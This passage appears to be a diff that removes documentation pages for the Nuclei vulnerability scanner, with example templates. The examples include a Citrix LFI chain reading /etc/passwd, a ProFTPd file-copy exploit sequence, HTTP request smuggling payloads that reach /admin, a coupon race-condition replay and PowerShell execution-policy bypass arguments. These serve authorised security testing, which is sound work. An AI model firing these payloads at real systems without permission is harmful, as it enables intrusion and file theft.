||||
param_a: payloads/prams.txt
|
||||
param_b: payloads/paths.txt
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Authenticated fuzzing
|
||||
|
||||
This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
testing=parameter
|
||||
|
||||
cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Dynamic variable support
|
||||
|
||||
This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2020-8193
|
||||
|
||||
info:
|
||||
name: Citrix unauthenticated LFI
|
||||
author: pdteam
|
||||
severity: high
|
||||
reference: https://github.com/jas502n/CVE-2020-8193
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: xpyZxwy6
|
||||
X-NITRO-PASS: xWXHUJ56
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/neo HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/stc HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<clipermission></clipermission>
|
||||
|
||||
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: randkey # Variable name
|
||||
part: body
|
||||
internal: true
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
```
|
||||
@ -1,108 +0,0 @@
|
||||
---
|
||||
title: "Race Condition"
|
||||
---
|
||||
|
||||
## Race condition testing with single POST request.
|
||||
|
||||
This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count`is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.
|
||||
|
||||
You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.
|
||||
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race Condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
Cookie: user_session=42332423342987567896
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
## Race condition testing with multiple requests.
|
||||
|
||||
This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
@ -1,252 +0,0 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
## Basic CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Basic TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: TE-CL-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic TE.CL vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Frontend bypass CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: smuggling-bypass-front-end-controls-cl-te
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "/admin/delete?username=carlos")'
|
||||
```
|
||||
|
||||
## Differential responses based CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-cl-te-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
|
||||
## Differential responses based TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-te-cl-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
@ -1,72 +0,0 @@
|
||||
---
|
||||
title: "Raw HTTP"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
This template makes GET request to `/` path in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple RAW request
|
||||
|
||||
This template makes GET and POST request sequentially in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
testing=parameter
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
@ -1,140 +0,0 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
## Basic Network Request
|
||||
|
||||
This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.
|
||||
|
||||
```yaml
|
||||
id: basic-network-request
|
||||
|
||||
info:
|
||||
name: Basic Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## TLS Network Request
|
||||
|
||||
Similar to the above template, but the connection to the service is done with TLS enabled.
|
||||
|
||||
```yaml
|
||||
id: basic-tls-network-request
|
||||
|
||||
info:
|
||||
name: Basic TLS Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "tls://{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## Hex Input Request
|
||||
|
||||
This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.
|
||||
|
||||
```yaml
|
||||
id: hex-network-request
|
||||
|
||||
info:
|
||||
name: Hex Input Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
encoding: hex
|
||||
words:
|
||||
- "504f4e47"
|
||||
```
|
||||
|
||||
## Input Expressions
|
||||
|
||||
Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pd-team
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
## Multi-Step Requests
|
||||
|
||||
This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2015-3306
|
||||
|
||||
info:
|
||||
name: ProFTPd RCE
|
||||
author: pd-team
|
||||
severity: high
|
||||
reference: https://github.com/t0kx/exploit-CVE-2015-3306
|
||||
tags: cve,cve2015,ftp,rce
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "site cpfr /proc/self/cmdline\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpfr /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /var/www/html/{{randstr}}\r\n"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 1024
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Copy successful"
|
||||
```
|
||||
@ -1,118 +0,0 @@
|
||||
---
|
||||
title: "Workflow"
|
||||
---
|
||||
|
||||
## Generic workflows
|
||||
|
||||
A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/jira-detect.yaml
|
||||
- template: technologies/confluence-detect.yaml
|
||||
```
|
||||
|
||||
## Basic conditional workflows
|
||||
|
||||
A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: security-misconfiguration/springboot-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2020-5410.yaml
|
||||
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
- template: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
```
|
||||
|
||||
## Multi condition workflows
|
||||
|
||||
This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
## Conditional workflows with matcher
|
||||
|
||||
This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: wordpress
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-6715.yaml
|
||||
- template: cves/CVE-2019-9978.yaml
|
||||
- template: files/wordpress-db-backup.yaml
|
||||
- template: files/wordpress-debug-log.yaml
|
||||
- template: files/wordpress-directory-listing.yaml
|
||||
- template: files/wordpress-emergency-script.yaml
|
||||
- template: files/wordpress-installer-log.yaml
|
||||
- template: files/wordpress-tmm-db-migrate.yaml
|
||||
- template: files/wordpress-user-enumeration.yaml
|
||||
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
- template: vulnerabilities/sassy-social-share.yaml
|
||||
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
- template: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
```
|
||||
|
||||
## Multiple Matcher workflow
|
||||
|
||||
Very similar to the last example, with multiple matcher names.
|
||||
|
||||
```yaml
|
||||
id: workflow-multiple-matcher
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- tags: vbulletin
|
||||
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- tags: jboss
|
||||
|
||||
```
|
||||
@ -1,295 +0,0 @@
|
||||
---
|
||||
title: "Code"
|
||||
---
|
||||
|
||||
Nuclei enables the execution of external code on the host operating system. This feature allows security researchers, pentesters, and developers to extend the capabilities of Nuclei and perform complex actions beyond the scope of regular supported protocol-based testing.
|
||||
|
||||
By leveraging this capability, Nuclei can interact with the underlying operating system and execute custom scripts or commands, opening up a wide range of possibilities. It enables users to perform tasks such as system-level configurations, file operations, network interactions, and more. This level of control and flexibility empowers users to tailor their security testing workflows according to their specific requirements.
|
||||
|
||||
To write code template, a code block is used to indicate the start of the requests for the template. This block marks the beginning of the code-related instructions.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
code:
|
||||
```
|
||||
## Engine
|
||||
|
||||
To execute the code, a list of language interpreters, which are installed or available on the system environment, is specified. These interpreters can be and not limited to `bash` `sh` `py` `python3`, `go`, `ps`, among others, and they are searched sequentially until a suitable one is found. The identifiers for these interpreters should correspond to their respective names or identifiers recognized by the system environment.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
```
|
||||
|
||||
The code to be executed can be provided either as an external file or as a code snippet directly within the template.
|
||||
|
||||
For an external file:
|
||||
|
||||
```yaml
|
||||
source: helpers/code/pyfile.py
|
||||
```
|
||||
|
||||
For a code snippet:
|
||||
```yaml
|
||||
source: |
|
||||
import sys
|
||||
print("hello from " + sys.stdin.read())
|
||||
```
|
||||
|
||||
The target is passed to the template via stdin, and the output of the executed code is available for further processing in matchers and extractors. In the case of the Code protocol, the response part represents all data printed to stdout during the execution of the code.
|
||||
|
||||
## Parts
|
||||
|
||||
Valid `part` values supported by **Code** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
| -------- | ---------------------------------------------------- |
|
||||
| response | execution output (trailing whitespaces are filtered) |
|
||||
| stderr | Raw Stderr Output(if any) |
|
||||
|
||||
The provided example demonstrates the execution of a bash and python code snippet within the template. The specified engines are searched in the given order, and the code snippet is executed accordingly. Additionally, dynamic template variables are used in the code snippet, which are replaced with their respective values during the execution of the template which shows the flexibility and customization that can be achieved using this protocol.
|
||||
|
||||
```yaml
|
||||
id: code-template
|
||||
|
||||
info:
|
||||
name: example code template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
echo "$OAST" | base64
|
||||
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import base64
|
||||
import os
|
||||
|
||||
text = os.getenv('OAST')
|
||||
text_bytes = text.encode('utf-8')
|
||||
base64_bytes = base64.b64encode(text_bytes)
|
||||
base64_text = base64_bytes.decode('utf-8')
|
||||
|
||||
print(base64_text)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?x={{code_1_response}}"
|
||||
- "{{BaseURL}}/?x={{code_2_response}}"
|
||||
|
||||
# digest: 4a0a0047304502202ce8fe9f5992782da6ba59da4e8ebfde9f19a12e247adc507040e9f1f1124b4e022100cf0bc7a44a557a6655f79a2b4789e103f5099f0f81a8d1bc4ad8aabe7829b1c5:8eeeebe39b11b16384b45bc7e9163000
|
||||
```
|
||||
|
||||
Apart from required fields mentioned above, Code protocol also supports following optional fields to further customize the execution of code.
|
||||
|
||||
## Args
|
||||
|
||||
Args are arguments that are sent to engine while executing the code. For example if we want to bypass execution policy in powershell for specific template this can be done by adding following args to the template.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
```
|
||||
|
||||
## Pattern
|
||||
|
||||
Pattern field can be used to customize name / extension of temporary file while executing a code snippet in a template
|
||||
|
||||
```yaml
|
||||
pattern: "*.ps1"
|
||||
```
|
||||
|
||||
adding `pattern: "*.ps1"` will make sure that name of temporary file given pattern.
|
||||
|
||||
Below is a example code template where we are executing a powershell script while customizing behaviour of execution policy and setting pattern to `*.ps1`
|
||||
|
||||
```yaml
|
||||
id: ps1-code-snippet
|
||||
|
||||
info:
|
||||
name: ps1-code-snippet
|
||||
author: pdteam
|
||||
severity: info
|
||||
description: |
|
||||
ps1-code-snippet
|
||||
tags: code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
pattern: "*.ps1"
|
||||
source: |
|
||||
$stdin = [Console]::In
|
||||
$line = $stdin.ReadLine()
|
||||
Write-Host "hello from $line"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "hello from input"
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
For more examples, please refer to example [code-templates](https://github.com/projectdiscovery/nuclei/blob/3a5f9d626ea7b632ccca601b658acd9758f8f01b/integration_tests/protocols/code) in integration tests.
|
||||
|
||||
It's important to exercise caution while utilizing this feature, as executing external code on the host operating system carries inherent risks. It is crucial to ensure that the executed code is secure, thoroughly tested, and does not pose any unintended consequences or security risks to the target system.
|
||||
|
||||
## Template Signing
|
||||
|
||||
